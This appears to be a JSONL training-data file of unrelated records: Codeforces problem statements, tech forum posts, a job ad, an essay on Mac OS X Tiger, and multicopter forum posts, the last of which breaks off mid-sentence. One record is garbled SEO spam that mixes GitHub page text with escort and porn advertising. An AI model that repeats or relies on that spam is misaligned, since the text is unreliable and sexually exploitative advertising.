{"text": "$150K — $200K *\nRally Health™ is all about putting health in the hands of the individual. It’s our mission, and it drives everything we do, which is to empower people with easy-to-use online and mobile tools that help them take charge of their health and health care, from improving their diet and fitness to selecting health benefits, and choosing the right doctor at the right price for their needs.\nOur culture is built on a deep and sincere dedication to helping people live healthier lives. To do this, we are committed to innovating continuously at every level. We know that some of the things we do are not going to work, and that’s okay. We’re not trying to build something that is churn and burn. We’re building something that supports people over their lifetime. Every day, we get to work with amazing people on something that directly impacts the lives of millions of people for the better.\nAt Rally Health, we believe that two heads truly are better than one. Rallyers understand the importance of communication and collaboration, ensuring that we work we produce is the best that it can be. Every opinion is valid and valued, and we share ideas that elevate the way we work. We know that the big picture and the small details are tied together, and we keep both in mind. Everything we do is executed with our users in mind, so we make sure that all of our work has a human touch. Here at Rally, we take advantage of the opportunity to build strong relationships with each other, because it makes us better.\nAbout the Team:\nCare solutions lets people find, price, schedule, prepare, recover and pay for care, and rewards them for choosing the appropriate care (medical, medication, dental, vision, behavioral & DME). Our digital focus is fundamentally changing the way consumers interact with their healthcare. Care solutions are available on the web and mobile. Over 50 million consumers have access to our solutions. Our engineers are passionate about building an end-to-end experience that is seamless, performant, and scales to millions of users.\nYour day to day:\nValid through: 8/17/2020\n$100K — $150K\n11 days ago", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 464, "token_count_with_eod": 465, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given an array of integers $$$a_1,a_2,\\ldots,a_n$$$. Find the maximum possible value of $$$a_ia_ja_ka_la_t$$$ among all five indices $$$(i, j, k, l, t)$$$ ($$$i<j<k<l<t$$$).", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I have 32 bit programs that I need to use on my 64 bit laptop. I know there is a program you can download to do this but I can't remember where it is, I did download it and tried to load it on my win 7 home and it told me that I needed win 7 or 8 pro, I now have win 8 pro but I have lost the program .Can you help me find it.\nSadly I think I understand your dilemma. You were originally told you needed Win7 pro because in it is Virtual PC and you get free XP OS to download. That from what I have read online is not being offered with Win8 pro even. Virtual PC yes but NOT XP as Microsoft will not issue something they do not offer support for making it software that can allow a back door for virus and malware to access your computer as a whole.\nI suggest you go to Microsoft site and chat with the Answers Desk folk. Ask them if you can downgrade to Windows pro to get the XP virtual PC that way or if you can get a refund especially if Microsoft staff told you about upgrading. Here is the link that sales desk gave me when I asked them just now. I figure best to ask yourself so you know information is first hand not secondhand via me. http://www.microsoftstore.com/store/msusa/en_US/cat/Answer-Desk/categoryID.63433500\nHope you get your problem resolved soon.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 301, "token_count_with_eod": 302, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "New answers tagged wii\nI am not aware of anything similar to \"verify game cache\" on the Wii U or any other console. However, you could try to move the game back to the internal storage to see if that fixes your problem. If moving the game back to internal storage does fix your problem, there might be something wrong with your USB storage. However, if the problem persists, ...\nI have the strategy: the ball is at it's peak when the ball is tangent to the net according to your view (just touching) just throw it up a few times and see that the ball just makes contact with the bottom of the net from your view. Hope this helps\nTop 50 recent answers are included", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Meta Stack Overflow\nto customize your list.\nmore stack exchange communities\nStart here for a quick overview of the site\nDetailed answers to any questions you might have\nDiscuss the workings and policies of this site\nIs there any reason this isn't redundant code?\nI came across this code in some existing codebase: double rad = ComputeCurviness(); double off = Math.Abs(rad); if (rad < 0) off = -off; It seems to be basically just making off equal to rad. ...\nJun 15 '10 at 19:36\nnewest absolute-value redundancy questions feed\nHot Network Questions\nNaming of folders question\nAccess to the terminal while you are on Vim\nDid Kozbi deserve to die?\nIs there added value in having your own presentation layout and using it consistently?\nPublishing Free Papers by Publishing house: Offer or Scam?\nThe FizzBuzz challenge in Java 8 written in a short, readable and interesting way\nDraw with your CPU\nDid not declare jewelry from aruba\nWhat exactly is a number?\nRestrict a Linux user to the files he owns\nhow to get notify while a record id generated in salesforce?\nOpened a JPG picture with notepad, pasted all the \"text\" to a new notepad file, changed to .JPG and it no longer opens?\nWhat recent programmes to alter highly-entrenched mathematical terminology have succeeded, and under what conditions do they tend to succeed or fail?\nLoop without 'looping'\nGood Versus Evil\nWhat do you call someone who was doing bad things, and he doesn't anymore?\nHow to extract URIs from files\nApparent Paradox in the Idea of Random Numbers\nDealing with synthesized sounds where only a subset of tones sound good\nIn the movies - Do wire transfers really work?\nHow should I handle my manager offering me an unwanted drink?\nIs there any way to appear sociable at a work social event without drinking?\nMovie where only a man and a woman left astray in a random place, followed by big cloud of darkness\nWhat's waking up my PC?\nmore hot questions\nLife / Arts\nCulture / Recreation\nTeX - LaTeX\nUnix & Linux\nAsk Different (Apple)\nGeographic Information Systems\nScience Fiction & Fantasy\nSeasoned Advice (cooking)\nPersonal Finance & Money\nEnglish Language & Usage\nMi Yodeya (Judaism)\nCross Validated (stats)\nTheoretical Computer Science\nMeta Stack Exchange\nStack Overflow Careers\nsite design / logo © 2014 stack exchange inc; user contributions licensed under\ncc by-sa 3.0", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Sadly, the problem setter couldn't think of an interesting story, thus he just asks you to solve the following problem.\n\nGiven an array $$$a$$$ consisting of $$$n$$$ positive integers, count the number of non-empty subsequences for which the bitwise $$$\\mathsf{AND}$$$ of the elements in the subsequence has exactly $$$k$$$ set bits in its binary representation. The answer may be large, so output it modulo $$$10^9+7$$$.\n\nRecall that the subsequence of an array $$$a$$$ is a sequence that can be obtained from $$$a$$$ by removing some (possibly, zero) elements. For example, $$$[1, 2, 3]$$$, $$$[3]$$$, $$$[1, 3]$$$ are subsequences of $$$[1, 2, 3]$$$, but $$$[3, 2]$$$ and $$$[4, 5, 6]$$$ are not.\n\nNote that $$$\\mathsf{AND}$$$ represents the bitwise AND operation.", "source": "cpt_codeforces", "language": "en", "token_count": 217, "token_count_with_eod": 218, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Let's define the value of the permutation $$$p$$$ of $$$n$$$ integers $$$1$$$, $$$2$$$, ..., $$$n$$$ (a permutation is an array where each element from $$$1$$$ to $$$n$$$ occurs exactly once) as follows:\n\n- initially, an integer variable $$$x$$$ is equal to $$$0$$$;\n- if $$$x < p_1$$$, then add $$$p_1$$$ to $$$x$$$ (set $$$x = x + p_1$$$), otherwise assign $$$0$$$ to $$$x$$$;\n- if $$$x < p_2$$$, then add $$$p_2$$$ to $$$x$$$ (set $$$x = x + p_2$$$), otherwise assign $$$0$$$ to $$$x$$$;\n- ...\n- if $$$x < p_n$$$, then add $$$p_n$$$ to $$$x$$$ (set $$$x = x + p_n$$$), otherwise assign $$$0$$$ to $$$x$$$;\n- the value of the permutation is $$$x$$$ at the end of this process.\n\nFor example, for $$$p = [4, 5, 1, 2, 3, 6]$$$, the value of $$$x$$$ changes as follows: $$$0, 4, 9, 0, 2, 5, 11$$$, so the value of the permutation is $$$11$$$.\n\nYou are given an integer $$$n$$$. Find a permutation $$$p$$$ of size $$$n$$$ with the maximum possible value among all permutations of size $$$n$$$. If there are several such permutations, you can print any of them.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You are given a tree T with n vertices (numbered 1 through n) and a letter in each vertex. The tree is rooted at vertex 1.\n\nLet's look at the subtree Tv of some vertex v. It is possible to read a string along each simple path starting at v and ending at some vertex in Tv (possibly v itself). Let's denote the number of distinct strings which can be read this way as $$\\operatorname{dif}(v)$$.\n\nAlso, there's a number cv assigned to each vertex v. We are interested in vertices with the maximum value of $$\\mathrm{dif}(v) + c_v$$.\n\nYou should compute two statistics: the maximum value of $$\\mathrm{dif}(v) + c_v$$ and the number of vertices v with the maximum $$\\mathrm{dif}(v) + c_v$$.", "source": "cpt_codeforces", "language": "en", "token_count": 179, "token_count_with_eod": 180, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "I can connect to a wireless network, but I cannot use any applications such as web browsers, or updating virus definitions, etc. When I connect wired to the same network I can use the internet freely and use applications with ease. I have tried this with 2 different networks now, and it works the same way. I don't think it's my firewall because even if I disable it, I still have the same problems when trying to connect wireless. Please help me figure out how to fix this. Thank you.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 104, "token_count_with_eod": 105, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software.\nSkip to content. Watch Star Permalink Dismiss Join GitHub today GitHub is home to over 40 Giebe developers working together to host and review code, manage projects, and build software.\nNight escorts Looking Cock\nSign up. Find file Copy path.\nRaw Blame History. You signed in with another tab or window.\nReload to refresh your session. You signed out in another tab or window. to Sex and Marriage in Ancient and Medieval Societies (Washington, D.C., M ̈uller, F.G.J.M., The Aldobrandini Wedding (Amsterdam, J.C. Gieben, ).\nIndiana University Press, Nanda, S., Neither Man nor Woman: The Hijras of India. Hijra sex • Watch the best free teen porn movies online on XXX HD 3GP sex, 18 year sex video, XXX 18 films. Night escorts I Searching Sex Date. Married Bi Wants International Dating Service Bj For Free Bbw Sex Chat Chat Adult Hookups.\nNight escorts I Searching Sex Date Gieben\nI Wanting Real Sex Gieben hijra sex\nLog In Sign Up. ❶Night club and sex club Praha 10 - Sexy girls in nightclubs offers Gieen escort service, striptease, lesbian show and escort to society. Previous post Next post. For the Gieben hijra sex time in a long time, I felt like someone was genuinely night escorts in my life.\nYou're using an out-of-date version of Internet Explorer. Delhi Escorts at low rates are now available at Sunaina Wex Independent delhiescorts agency One person per night; Two person per night. Is my hotel room clean? You signed in with another Escorts of new Aurich or window.\nGitHub is home to over 40 million developers working together to host and review code, manage projects, and build software. Not only that, but this woman was incredible. Model Gieben hijra sex In Ukraine. Hit me up if you want my cock.\nWhat would my mates think?|I am only interested in talking to women who have an active account. Hit me up if you want my cock.\nzxcvbn/frequency_www.japaneseadobo.com at master · dropbox/zxcvbn · GitHub\nNight escorts in there 30's and above are in night escorts and think there personality will make up for it. Giebrn on a tuesday night m4w swm here, just wondering if there are any real ppl on.\nSafe night escorts ddf neg 5', lean atheltic and vgl send accurate stats or pics in your first email or delete Hosting Now MWM MWM waiting for white woman that is missing the excitement and adventure of sexual satisfaction. As far as I know, nobody hjira laid.\nhijra | www.japaneseadobo.com [Best watermark free Indian sex video clips]\nIt was just a fun night out with night escorts fit birds on our arms. It night escorts like having the sexiest tour guides Massage by mary Marburg an der Lahn the world.\nAnyway, years ago I hang wscorts with hijrs escorts in Prague and have a really great time. I think to myself that it would be really nice just to Rosa spa massage Hattingen out for a pint with some hot night escorts around to keep me company.\nGieben hijra sex hire an escort from the night escorts that we used Gieben hijra sex those years ago because we had such great results. What would my mates think?\nShit, what would my boss think? Night club and hijga club Praha Gieben hijra sex - Sexy girls in nightclubs offers a escort service, striptease, lesbian show and escort to society.\nOur Escorts in indirapuramNowadays, there is such a good service.]", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Hey folks, I was hoping to understand how Prefect Cloud communicates with an agent that’s inside a VPC. I setup a local agent on an EC2 instance and was able to connect with Prefect Cloud and use the instance as an agent. Can someone point me to the right resources for this? Thank you!\n04/29/2022, 1:23 PM\nYes! For Prefect 2.0 you can use this tutorial\nfor 1.0 this should be similar when it comes to deploying the infrastructure. The main aspect to keep in mind is that your agent only needs to open outbound access to communicate with Prefect Cloud. Cloud API never sends any incoming requests to your infrastructure, it always goes in a single direction - from your infrastructure to Cloud (your agent must actively poll Prefect Cloud API for scheduled runs)\nand if you are confused about 2.0 vs. 1.0, check this post\n04/29/2022, 1:28 PM\nThank you so much @Anna Geller! This made things very clear.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 232, "token_count_with_eod": 233, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Limak is a little polar bear. He has n balls, the i-th ball has size ti.\n\nLimak wants to give one ball to each of his three friends. Giving gifts isn't easy — there are two rules Limak must obey to make friends happy:\n\n- No two friends can get balls of the same size.\n- No two friends can get balls of sizes that differ by more than 2.\n\nFor example, Limak can choose balls with sizes 4, 5 and 3, or balls with sizes 90, 91 and 92. But he can't choose balls with sizes 5, 5 and 6 (two friends would get balls of the same size), and he can't choose balls with sizes 30, 31 and 33 (because sizes 30 and 33 differ by more than 2).\n\nYour task is to check whether Limak can choose three balls that satisfy conditions above.", "source": "cpt_codeforces", "language": "en", "token_count": 204, "token_count_with_eod": 205, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Oxford Biomedical Data Science Training Programme\nThe Oxford Biomedical Data Science Training Programme delivers training in the skills and methods required for the analysis and interpretation of large-scale biomedical datasets, particularly genomic and functional genomic data.\nThe OBDS programme was established in 2018 with funding from Wellcome, the Cancer Research UK Oxford Centre and the NIHR Oxford Biomedical Research Centre. To date the programme has trained over 100 biomedical researchers, who have benefited from the course in different ways (see testimonials).\nThis unique programme runs three times per year, with timings aligned to the University of Oxford terms. The programme delivers face-to-face online lectures, tutorials and group exercises. Our multi-week format and small group size enable us to go step-by-step through real world scenarios from setting up software environments to processing data and visualisation of results. The interactive format encourages participants to lead group exercises; quickly building the confidence and resilience required for independent work. Courses usually run 9.30am-4pm Monday to Friday.\nIn Autumn 2022, we will be running a number of short courses on different topics including using the Linux command line for Genomics, Python programming and data science, and R for data science and genomics. These introductory courses are aimed at biomedical scientists with little or no previous training in computational biology.\nThe Cancer Research UK Oxford Centre offers two fully funded places per course. To be considered for CRUK funding, candidates research projects must be cancer research focused and applicants must be CRUK Oxford Centre members (you can sign up here). CRUK funding will be allocated by representatives of the Centre Management Group on the basis of both application quality and fit with Centre strategy (details of which can be found here).\nWe hope to open applications for Autumn 2022 courses in late June.\nFor more information please contact firstname.lastname@example.org\n|Genomics on the Linux command line||\n|Python programming and data science||2 weeks||Autumn 2022|\n|R for data science and genomics||2 weeks||Autumn 2022|\n|Introduction to single-cell RNAseq data analysis using R||1 week||Autumn 2022|\nMore details to be announced in June 2022", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 468, "token_count_with_eod": 469, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "On the Berland Dependence Day it was decided to organize a great marathon. Berland consists of n cities, some of which are linked by two-way roads. Each road has a certain length. The cities are numbered from 1 to n. It is known that one can get from any city to any other one by the roads.\n\nn runners take part in the competition, one from each city. But Berland runners are talkative by nature and that's why the juries took measures to avoid large crowds of marathon participants. The jury decided that every runner should start the marathon from their hometown. Before the start every sportsman will get a piece of paper containing the name of the city where the sportsman's finishing line is. The finish is chosen randomly for every sportsman but it can't coincide with the sportsman's starting point. Several sportsmen are allowed to finish in one and the same city. All the sportsmen start simultaneously and everyone runs the shortest route from the starting point to the finishing one. All the sportsmen run at one speed which equals to 1.\n\nAfter the competition a follow-up table of the results will be composed where the sportsmen will be sorted according to the nondecrease of time they spent to cover the distance. The first g sportsmen in the table will get golden medals, the next s sportsmen will get silver medals and the rest will get bronze medals. Besides, if two or more sportsmen spend the same amount of time to cover the distance, they are sorted according to the number of the city where a sportsman started to run in the ascending order. That means no two sportsmen share one and the same place.\n\nAccording to the rules of the competition the number of gold medals g must satisfy the inequation g1 ≤ g ≤ g2, where g1 and g2 are values formed historically. In a similar way, the number of silver medals s must satisfy the inequation s1 ≤ s ≤ s2, where s1 and s2 are also values formed historically.\n\nAt present, before the start of the competition, the destination points of every sportsman are unknown. However, the press demands details and that's why you are given the task of counting the number of the ways to distribute the medals. Two ways to distribute the medals are considered different if at least one sportsman could have received during those distributions different kinds of medals.", "source": "cpt_codeforces", "language": "en", "token_count": 490, "token_count_with_eod": 491, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "The Little Elephant has found a ragged old black-and-white string s on the attic.\n\nThe characters of string s are numbered from the left to the right from 1 to |s|, where |s| is the length of the string. Let's denote the i-th character of string s as si. As the string is black-and-white, each character of the string is either letter \"B\", or letter \"W\". Unfortunately, the string is very old and some characters are damaged. The damaged positions are denoted as \"X\".\n\nThe Little Elephant in determined to restore the string and hang it on the wall. For that he needs to replace each character \"X\" by a \"B\" or a \"W\". The string must look good on the wall, so it must be beautiful. The Little Elephant considers a string beautiful if it has two non-intersecting substrings of a given length k, such that the left one fully consists of characters \"B\", and the right one fully consists of characters \"W\". More formally, there are four integers a, b, c, d (1 ≤ a ≤ b < c ≤ d ≤ |s|; b - a + 1 = d - c + 1 = k) such that si = \"B\" (a ≤ i ≤ b) and sj = \"W\" (c ≤ j ≤ d).\n\nHelp the Little Elephant find the number of different beautiful strings he can obtain from string s. Two strings are considered different if there is such position, where the character in the first string differs from the corresponding character in the second string. If this string doesn't contain characters «X» and it is already beautiful — the answer is 1.\n\nAs the answer can be rather large, print it modulo 1000000007 (109 + 7).", "source": "cpt_codeforces", "language": "en", "token_count": 383, "token_count_with_eod": 384, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Doremy lives in a country consisting of $$$n$$$ cities numbered from $$$1$$$ to $$$n$$$, with $$$a_i$$$ people living in the $$$i$$$-th city. It can be modeled as an undirected graph with $$$n$$$ nodes.\n\nInitially, there are no edges in the graph. Now Doremy wants to make the graph connected.\n\nTo do this, she can add an edge between $$$i$$$ and $$$j$$$ if\n\n$$$$$$ \\sum_{k \\in S} a_k \\ge i\\cdot j \\cdot c, $$$$$$\n\nwhere $$$S$$$ is the set of all the nodes that are currently in the same connected component of either $$$i$$$ or $$$j$$$, and $$$c$$$ is a given constant.\n\nCan Doremy make the graph connected?\n\nTwo nodes $$$(i, j)$$$ are in the same connected component if there exists a path from $$$i$$$ to $$$j$$$. A graph is connected if all its nodes are in the same connected component.", "source": "cpt_codeforces", "language": "en", "token_count": 215, "token_count_with_eod": 216, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "The Chess Enthusiast: Coming back for more\nHi chess.com community,\nI've been in chess exile for the past 4-5 months due to work commitment. What's more amazing is that I managed to win my first 2 chess.com live games without much difficulty. (It must be the luck factor here... haha) Well, hopefully I can get my games up and running and blog good games for everyone to enjoy.\nTake care everyone, and it's good to be back playing again.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 105, "token_count_with_eod": 106, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Apple has a great operating system in its new Mac OS X 10.4, aka “Tiger.” And the company offers a great hardware platform, too. But from its actions heading into Tigers release, and now reading the troublesome list of missing-in-action applications and compatibility issues, I have to question the companys aspirations to be a player in the enterprise.\nHeres a checklist of recent snafus on the Tiger productivity front:\n- Mac enterprise customers discover they cant connect to their Cisco VPNs to work remotely.\n- Apples introduction of new low-level code in Tiger and a bug cause even more networking problems for enterprise managers.\n- Some sites report troubles with SMB connectivity, as well as the usual batch of incompatible utility apps.\nThat Tiger is having issues with Windows networking is hardly a surprise. But all of these little problematic pieces add up to a big headache for enterprise folks who want to keep using their Macs in hostile territory.\nFor some analysts and Apple apologists, this view is overblown. For them, all rollouts have problems, and these are par for the course.\nInstead, I see it as proof that Apple isnt an enterprise player and isnt terribly interested in becoming one, despite always having a toe in the enterprise market.\nAnd a pretty big toe at that, at least in terms of product design and quality. Apple makes very nice enterprise servers, a SAN (storage area network), and a Unix-based OS with excellent ease-of-use and manageability.\nApple simply isnt ready to do what it would take to become a “real” enterprise vendor.\nFor example, a real enterprise vendor wouldnt rely quite so much on secrecy and the element of surprise to create excitement for its products. A real enterprise company also would have a product roadmap and an extensive, open beta process for its operating-system products, which could prevent missteps such as Tigers issues with Microsoft servers.\nThe way I see it, Apple can be a company with big secrets or it can be an enterprise company, but it cant be both.\nRevenue-wise, it makes sense for Apple to be a consumer company, and the secrets seem to help excite those customers. But everything Ive found in Tiger so far was described on Apples Web site months in advance. Why the company couldnt have done a wider beta program is something only CEO Steve Jobs knows.\nTo be fair, Ive just finished a book for Mac mini users, and in my testing I didnt encounter the problems with the SMB protocol that others have complained about. I have a Microsoft Small Business Server and found Tiger to be much easier to use in that environment than its Panther predecessor.\nSupport for Microsoft Exchange is still not what youd hope, and whatever connectivity existed between Exchange and Apples Address Book app seems to have disappeared. VPN support is there, but it may be hit-or-miss depending on the networks configuration.\nBut because of its small market share and low enterprise presence, Apple can release software that really needed better, and more public, testing almost with impunity. This is further proof that Apple isnt willing to do whats necessary to become an enterprise player—and customers reward that behavior by staying away, in droves.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A forestation is an act of planting a bunch of trees to grow a forest, usually to replace a forest that had been cut down. Strangely enough, graph theorists have another idea on how to make a forest, i.e. by cutting down a tree!\n\nA tree is a graph of $$$N$$$ nodes connected by $$$N - 1$$$ edges. Let $$$u$$$ be a node in a tree $$$U$$$ which degree is at least $$$2$$$ (i.e. directly connected to at least $$$2$$$ other nodes in $$$U$$$). If we remove $$$u$$$ from $$$U$$$, then we will get two or more disconnected (smaller) trees, or also known as forest by graph theorists. In this problem, we are going to investigate a special forestation of a tree done by graph theorists.\n\nLet $$$V(S)$$$ be the set of nodes in a tree $$$S$$$ and $$$V(T)$$$ be the set of nodes in a tree $$$T$$$. Tree $$$S$$$ and tree $$$T$$$ are identical if there exists a bijection $$$f : V(S) \\rightarrow V(T)$$$ such that for all pairs of nodes $$$(s_i, s_j)$$$ in $$$V(S)$$$, $$$s_i$$$ and $$$s_j$$$ is connected by an edge in $$$S$$$ if and only if node $$$f(s_i)$$$ and $$$f(s_j)$$$ is connected by an edge in $$$T$$$. Note that $$$f(s) = t$$$ implies node $$$s$$$ in $$$S$$$ corresponds to node $$$t$$$ in $$$T$$$.\n\nWe call a node $$$u$$$ in a tree $$$U$$$ as a good cutting point if and only if the removal of $$$u$$$ from $$$U$$$ causes two or more disconnected trees, and all those disconnected trees are pairwise identical.\n\nGiven a tree $$$U$$$, your task is to determine whether there exists a good cutting point in $$$U$$$. If there is such a node, then you should output the maximum number of disconnected trees that can be obtained by removing exactly one good cutting point.\n\nFor example, consider the following tree of $$$13$$$ nodes.\n\nThere is exactly one good cutting point in this tree, i.e. node $$$4$$$. Observe that by removing node $$$4$$$, we will get three identical trees (in this case, line graphs), i.e. $$$\\{5, 1, 7, 13\\}$$$, $$$\\{8, 2, 11, 6\\}$$$, and $$$\\{3, 12, 9, 10\\}$$$, which are denoted by $$$A$$$, $$$B$$$, and $$$C$$$ respectively in the figure.\n\n- The bijection function between $$$A$$$ and $$$B$$$: $$$f(5) = 8$$$, $$$f(1) = 2$$$, $$$f(7) = 11$$$, and $$$f(13) = 6$$$.\n- The bijection function between $$$A$$$ and $$$C$$$: $$$f(5) = 3$$$, $$$f(1) = 12$$$, $$$f(7) = 9$$$, and $$$f(13) = 10$$$.\n- The bijection function between $$$B$$$ and $$$C$$$: $$$f(8) = 3$$$, $$$f(2) = 12$$$, $$$f(11) = 9$$$, and $$$f(6) = 10$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 752, "token_count_with_eod": 753, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "A Graph which represents the Union of several Graphs\nFor a list of all members of this type, see UnionGraph Members .\nThe Union is entirely virtual, the Graphs and their Triples are not actually physically merged together\nAll Assert and Retract operations are directed only to the Default Graph while a Clear() operation will clear all Graphs in the Union\nAssembly: dotNetRDF (in dotNetRDF.dll)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 88, "token_count_with_eod": 89, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "It can be shown that any positive integer x can be uniquely represented as x = 1 + 2 + 4 + ... + 2k - 1 + r, where k and r are integers, k ≥ 0, 0 < r ≤ 2k. Let's call that representation prairie partition of x.\n\nFor example, the prairie partitions of 12, 17, 7 and 1 are:\n\n12 = 1 + 2 + 4 + 5,17 = 1 + 2 + 4 + 8 + 2,7 = 1 + 2 + 4,1 = 1.\n\nAlice took a sequence of positive integers (possibly with repeating elements), replaced every element with the sequence of summands in its prairie partition, arranged the resulting numbers in non-decreasing order and gave them to Borys. Now Borys wonders how many elements Alice's original sequence could contain. Find all possible options!", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Berland annual chess tournament is coming!\n\nOrganizers have gathered 2·n chess players who should be divided into two teams with n people each. The first team is sponsored by BerOil and the second team is sponsored by BerMobile. Obviously, organizers should guarantee the win for the team of BerOil.\n\nThus, organizers should divide all 2·n players into two teams with n people each in such a way that the first team always wins.\n\nEvery chess player has its rating ri. It is known that chess player with the greater rating always wins the player with the lower rating. If their ratings are equal then any of the players can win.\n\nAfter teams assignment there will come a drawing to form n pairs of opponents: in each pair there is a player from the first team and a player from the second team. Every chess player should be in exactly one pair. Every pair plays once. The drawing is totally random.\n\nIs it possible to divide all 2·n players into two teams with n people each so that the player from the first team in every pair wins regardless of the results of the drawing?", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Reason #12 You Should Visit\nUnique gardens on campus\nYou don't have to take our word for the claims we make about Smith. Come check us out yourself. Only by visiting Smith's campus can you sense the college's energy, its rhythm and enthusiasm.\nYou can visit practically any time, but coming when college is in session will give you a better feel for what it's really like to be a Smith student. Plan to spend at least three hours on campus, especially if you live at a distance and may not be able to make a second visit. This will give you time for a campus tour, a class visit, a conversation with a professor and perhaps a meal, as well as an interview.\nIn this video, Professor of Art John Davis leads an architectural tour of Smith, discussing some of the influential buildings on campus.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 171, "token_count_with_eod": 172, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "- Jun 25, 2013\nI wasn't referring to fixing something that was not broken, I was referring to a way to get the camera gesture to show in kernel auditor, which you have obviously got taken care of with the nodded apk.\nI'm not sure if same post but I was also referring to the speaker volume, which is broken on my end. When I place at 0 gain there is no sound when actually that should be the default level, and it seems like 20 gain is the default level instead. If you need a log I'll be glad to provide. Thanks.\nSent from my Nexus 6P using Tapatalk\ntc qdisc add dev wlan0 root fq_pie tc qdisc add dev rmnet_data0 root fq_pie\ntc qdisc del root dev wlan0 tc qdisc del root dev rmnet_data0", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A permutation p of length n is a sequence of distinct integers p1, p2, ..., pn (1 ≤ pi ≤ n). A permutation is an identity permutation, if for any i the following equation holds pi = i.\n\nA swap (i, j) is the operation that swaps elements pi and pj in the permutation. Let's assume that f(p) is the minimum number of swaps that you need to make the permutation p an identity permutation.\n\nValera wonders, how he can transform permutation p into any permutation q, such that f(q) = m, using the minimum number of swaps. Help him do that.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You're creating a game level for some mobile game. The level should contain some number of cells aligned in a row from left to right and numbered with consecutive integers starting from $$$1$$$, and in each cell you can either put a platform or leave it empty.\n\nIn order to pass a level, a player must throw a ball from the left so that it first lands on a platform in the cell $$$p$$$, then bounces off it, then bounces off a platform in the cell $$$(p + k)$$$, then a platform in the cell $$$(p + 2k)$$$, and so on every $$$k$$$-th platform until it goes farther than the last cell. If any of these cells has no platform, you can't pass the level with these $$$p$$$ and $$$k$$$.\n\nYou already have some level pattern $$$a_1$$$, $$$a_2$$$, $$$a_3$$$, ..., $$$a_n$$$, where $$$a_i = 0$$$ means there is no platform in the cell $$$i$$$, and $$$a_i = 1$$$ means there is one. You want to modify it so that the level can be passed with given $$$p$$$ and $$$k$$$. In $$$x$$$ seconds you can add a platform in some empty cell. In $$$y$$$ seconds you can remove the first cell completely, reducing the number of cells by one, and renumerating the other cells keeping their order. You can't do any other operation. You can not reduce the number of cells to less than $$$p$$$.\n\nIllustration for the third example test case. Crosses mark deleted cells. Blue platform is the newly added.\n\nWhat is the minimum number of seconds you need to make this level passable with given $$$p$$$ and $$$k$$$?", "source": "cpt_codeforces", "language": "en", "token_count": 373, "token_count_with_eod": 374, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Look in the AP_Motors library. Should give you a starting place as you'll need to extend it for your frame type.\ndid you ever figure out how to change the motor mixing for pitch, roll, and yaw?\ni'm in the final setup of a custom octa-H and need to figure this out also.\nMaybe this for writing code but I am a hunt and punch typest so I don;t write code. I did notice that on the Mission Planner, when I was flying a \"Y\" 6, there was an option to change the motor percentage for the top or bottom motor. I am going to set up a \"U\" 6 hexa and just match up my motor positions to the \"Y\" 6 and adjust the percentage of each motor according to it's function.\nThe cure for an uneven hexa that may not be perfect but works. In the new Mission planner 1.2.44 yo can set up a hexacopter then choose the \"V\" frame instead of \"X\" or \"T\". It is not perfect but it works. I would rather see the motor pecentages to get a more precise motor adjustment but for now my Hexa \"U\" flies and is stable.\nGlad that the hexa V sort of works. If it doesn't work well enough, I can send you to the forum where a complete solution resides.\nI've been trying to lobby for direct access via MP to the pitch, roll, and yaw factors table, which would allow the control we custom copter builders need. If you get the chance please voice the need. The more we get, the better.\nA side discussion - U versus H: Both U and H designs meet the needs of photography. So since you like to build custom stuff, here were my thoughts after a few months of tossing design options back and forth.\nThe advantage of a U over H (when both have an aspect ratio of 1) are: a slightly smaller footprint (the aft end motors tuck in a little closer and thus the width & length can be a bit less)\nThe advantage of a H over U are:\no symmetric opposites and fore/aft so the X becomes a close proxy (tested)\no ease of vibration isolation (2 motor boom versus in the U case of 6 arms)\no four parts and one deck versus the U six arms and two decks\no cross beams carry torsional loads so electronics platform (decks) can be lighter\no six arms in the U case versus two cross beams in the H case are continuous versus cut in the middle\no fewer parts to assemble and fewer attachments (24 for the U and 9 for the H) if made portable\no a slightly less 